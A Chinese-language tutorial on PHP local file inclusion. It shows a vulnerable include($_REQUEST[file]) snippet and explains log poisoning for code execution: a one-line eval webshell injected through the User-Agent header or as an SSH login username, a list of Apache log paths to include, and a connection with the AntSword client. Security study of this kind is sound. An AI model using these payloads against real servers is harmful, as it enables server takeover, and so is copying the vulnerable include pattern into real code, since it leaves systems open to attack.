文件包含漏洞
开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,而无需再次编写,这种调用文件的过程一般被称为包含。
但是正是这种灵活性通过动态变量的方式引入需要包含的文件时,用户对这个变量可控而且服务端又没有做合理的校验或者校验被绕过就造成了文件包含漏洞。
PHP例子
常用包含文件函数
include()
include_once()
require()
require_once()
PHP包含漏洞
<?php include($_REQUEST[file]);?>
设置请求可控include值
【include】:包含文件:
【$_REQUESTZ】:全局变量,包含http方法:【$_GET】,【$_POST】,【$_COOKIE】
【file】:URL中http请求传入的变量参数名为value的参数
【'file'】也就是菜刀等工具连接密码
漏洞利用复现
可导致任意文件读取,或拿权限
路径关系
1. ./ 当前目录下
2. ../ 上级目录
3. / 根目录
拿权限
访问网站,大部分网站会记录下客户访问日志,UA请求头,访问路径,也就产生了log写文件,如果自定义恶意UA请求头,跟请求路径,那是不是就会记录下恶意代码
配合包含漏洞去读取,包含恶意代码得文件,就会解析恶意代码,导致代码执行,拿下服务器权限
Linux web常见日志路径
/var/log/access_log
/var/log/access.log
/var/log/apache2/access_log
/var/log/apache2/access.log
/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/error_log
/var/log/error.log
/var/log/httpd/access_log
/var/log/httpd/access.log
/var/log/httpd/error_log
/var/log/httpd/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/var/www/logs/error_log
/var/www/logs/error.log
一句话
UA请求头后,插入一句话木马
读取日志文件,可以看到搜索不到一句话,说明可能已经被服务端解析了
蚁剑连接
成功拿下权限
SSH记录日志
用户名为一句话,服务端会记录下登录用户名
ssh "<?php @eval($_REQUEST[xs]);?>"@188.8.8.77 -p 22